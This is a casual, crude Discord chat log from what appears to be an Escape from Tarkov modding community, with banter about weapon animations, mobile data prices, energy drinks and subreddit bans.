https://cdn.discordapp.com/attachments/931627162124050442/1329010376087572510/ssstwitter.com_1736897173513.mp4?ex=69c59c9d&is=69c44b1d&hm=ee84f9655f7579289116d7d73a6fd83825f52d61193754120105bf6278419287&

[stark torrent]

No you will.be in the special task force like Suicide Squad

Send the kitty twink to the sewers

[keen sparrow]

Oh he’s broken someone’s ribs in a bar-fight and he plays gamma and tarkov?

Front lines, with the spear and quad-nods

https://tenor.com/view/garand-thumb-night-vision-flannel-gif-15544034

Meanwhile, in a modding discord

[ancient marsh]

perfect ragebait

[cyan garnet]

bsg could never

[keen sparrow]

a couple days ago there was no animation

he just slid up and down CS:S style

[lunar mirage]

Hey i know you

You're in WTT

[keen sparrow]

yup, the one and only

[lunar mirage]

Armoury when

[keen sparrow]

bro i ain't been an SPT modder for 2 years

i don't know

[compact knoll]

got killed by goons in pve

skill checked

blackout AP on big pipe

first time ever when i saw him spawn with them

[keen sparrow]

here, install this to your 4.0 SPT don't ask questions

https://www.virustotal.com/gui/file/efc9ba7b1b84f51913b503a492dc6c5343f29abcb4c7d8f8162aa99955e330dc?nocache=1

[lunar mirage]

No

[keen sparrow]

https://cdn.discordapp.com/attachments/1033420008694501389/1299483177768976497/attachment.gif

[short cove]

Yk there's a new meta

Half nvg half thermal

Can see through glass and smoke now

[keen sparrow]

and i'll have to make out the outlines of rocks vs helmets

[compact knoll]

https://www.youtube.com/watch?v=wureEr28iWw

@ancient marsh really cool anim

[keen sparrow]

Way to miss out on a peak shooting experience

[ancient marsh]

the fucking finger movement when shooting looool

[short cove]

I mean you can see via thermal the signate on helmets

[keen sparrow]

and with the way BSG sets up the animatorcontroller in unity, there's no way to get rid of it

Every PMC has Jerry Miculek trigger pull speed

[short cove]

Like it is pretty much the best you can do, in daytime flip nvg up to see, in night flip it down.

Still you can see if someone peeks

[short cove]

Ball knowledge

[keen sparrow]

i've literally used his videos for sounds

[low iris]

bbocchi the rock and k-on are the most larped media of all time

[keen sparrow]

I didn't name it Bocchi the glock

the guy that updated it for me did

For Bocchi to work you'd need to rig the plastic dice into the player skeleton for them to dangle around as you moved

[keen sparrow]

also have no fucking clue what bocchi the rock is, lol

[short cove]

I am on mobile data rn and you record in 4k

Idk filter or smth aint gon watch it rn

[keen sparrow]

here, lemme roleplay being one of the other asshats here

[keen sparrow]

BROKE FELLA ALERT 🪑

[short cove]

Bros looking up filter in Google picture

[keen sparrow]

that'd be Xal

too low

[short cove]

37 left

[keen sparrow]

And this is why, despite how evil they are, i always pick Verizon

and yes, it is like.. max speed for your first however many GBs for the month, then it gets cut to 1/4 speed when you pass that threshold

but you wouldn't be spending 20$ to watch a 5 minute video on youtube because you went over data cap

I've been there, never again

back when i was broooooke af, i'd sit on the free trial of youtube premium, go download videos at the library for free, then go home and watch them on airplane mode.

[soft coral]

america needs to start over

go back to the wild west please bring back the founding father and start over

this is criminal prices

[keen sparrow]

wild west?

damnit arthur i have a plan

[soft coral]

you're better off going to a robber and giving him money willingly

[keen sparrow]

an unlimited data plan

[soft coral]

SHUT UP ORTHUR

SENIOR

POR FOVOR

[remote fox]

Cool animation. Too bad, no one will see it.

[short cove]

I legit pay like 10 for my 50gb

Which is like 11,50$ or so

[keen sparrow]

I won't actually judge what people pay. if you feel you use that much, pay for that and use it

[viral egret]

i gifted my mate gmod

time to bomb him

[stark torrent]

Yes i had thst on interchange it felt like 67 years

Bro really dissasembles the gun mid raid to clear bullet

[keen sparrow]

Thanks Desert Tech

[short cove]

You know what unlimited costs here?

[short cove]

If someone legit pays the 70€ Telekom charges for their unlimited i will judge them and say "oh you cant pay for [thing]? Sure weird that you got Telekom unlimited"

[keen sparrow]

That's a judgement of value though

"priorities"

what are they saying they can't afford?

[short cove]

70 euro for unlimited

What are you downloading?

The epstein files?

[short cove]

Random shit like gas or food

[keen sparrow]

ngl, i was using like 300 Gigs a month easily while on unlimited

HOWEVER

[short cove]

I unironically cant even manage to throw like 20 on a normal month

[keen sparrow]

I also fall asleep to youtube and shit

[soft coral]

not really , no

[next temple]

Gon take this and bike like crazy

[soft coral]

L choice

[next temple]

I dislike monster cause i am not a trend slave

[soft coral]

holy gae

[keen sparrow]

'i'm cool because i dis-like things other people like for the sake of dis-liking them'

[next temple]

But in all seriousness i just dislike how monster tastes

Simple as

[keen sparrow]

yeah? and i think red bull smells like menstrual fluid

[next temple]

You do you ig

[keen sparrow]

https://tenor.com/view/american-psycho-patrick-bateman-american-psycho-gif-7212093

[viral egret]

peak

redbull is also good

monster n redbull lead

[cyan garnet]

Bsg should add red bull

[keen sparrow]

oh shit that's juneberry, mb

[keen sparrow]

that'd be based

[soft coral]

now this I like

[short cove]

Rizz

[next temple]

LMAO

[blazing basin]

If only RB wasnt so expoensive compared to M

[next temple]

true

tbh its a reason to buy them more rarely for me

which keeps you healthier and keeps energy drinks effects potent

[blazing basin]

real

[keen sparrow]

https://tenor.com/view/ni-hao-nihao-nihao-fine-shyt-ni-hao-fine-shyt-cosmic-princess-kaguya-gif-12262399347778919181

[keen sparrow]

[soft coral]

me and rex frfr

[keen sparrow]

[fast garden]

Oh hey that’s new

The ban notification

[stark torrent]

https://giphy.com/gifs/ishowspeed-losedfire-JmDwlSuuv7vpdvcBU8

[soft coral]

why am I not banned from the eft reddit

the fk did u retards do

[blazing basin]

Why?

[keen sparrow]

just go start a thread saying you want IDF gear.

[viral egret]

dude

its such a chore

to replace all the keycaps

and it still doesnt work properly

but my a key finally works now

no tapping it 6 to 7 times for a input

[remote fox]

6....6-7.

Fuck.

[cyan garnet]

https://tenor.com/view/pim-smiling-friends-pim-mr-boss-mr-boss-gif-17819526426437331629

Im banned too bruh

[fast garden]

Why did I get banned? Because I said “retard” on the sub

Instant perma

No appeal

[cyan garnet]

I think mine was the same

[fast garden]

Didn’t even call anyone else it

Literally called myself a retard insta ban

[cyan garnet]

Im pre sure i called someone a retard

Idk what for but im sure it was deserved

[remote fox]

Not enough Karma, stranger.

[soft coral]

wrap it up

[remote fox]

https://tenor.com/view/dog-wrap-gif-5465178

[fast garden]

get pinged in brainfart

look at it just now

xalrider mute

[viral egret]

gg

thee u home today?

[fast garden]

yea

idk what im gonna do tho

[viral egret]

u wanna run some raids what d u need for lk

[fast garden]

i forgot about him

random launcher update

hmm

[viral egret]

i gotta go get some rubber pad things for my new keyboard it keeps sliding

[blazing basin]

Thats fcked yp

[hallow stream]

WTF

I guess his protection ran out

didnt refresh his god mode command

[little flame]

really?

how long

😭

[viral egret]

1 day

again

[little flame]

retard

alert

[viral egret]

n word in screenshot\

[little flame]

LOL

[viral egret]

balls degloved

[little flame]

this fucking guy

see i would never say this shit

[viral egret]

@stark torrent passing on the street on my way to mcdonalds
turh my head right
some guy is pissing on a car

evil hatred

[little flame]

LMAOO

thats diabolical

[little flame]

@ancient marsh true gold react if you can hear us

https://klipy.com/gifs/picklejuicelover69-2

[viral egret]

ouija board

[little flame]

opened iedy's dms and lets just say

im gonna keep that shit closed

[viral egret]

do you know the pickle meme

[little flame]

iykyk

[viral egret]

910 pickles

[little flame]

bountiful harvest this year

[stark torrent]

https://giphy.com/gifs/invincible-thragg-viltrumite-afuK0xqQ3x6zZmffLz

[little flame]

https://klipy.com/gifs/looking-at-strangers-phones-looking-at-peoples-phone-prank-1

[viral egret]

bro inwent to take bus home

bus broke down in the station

ill just walk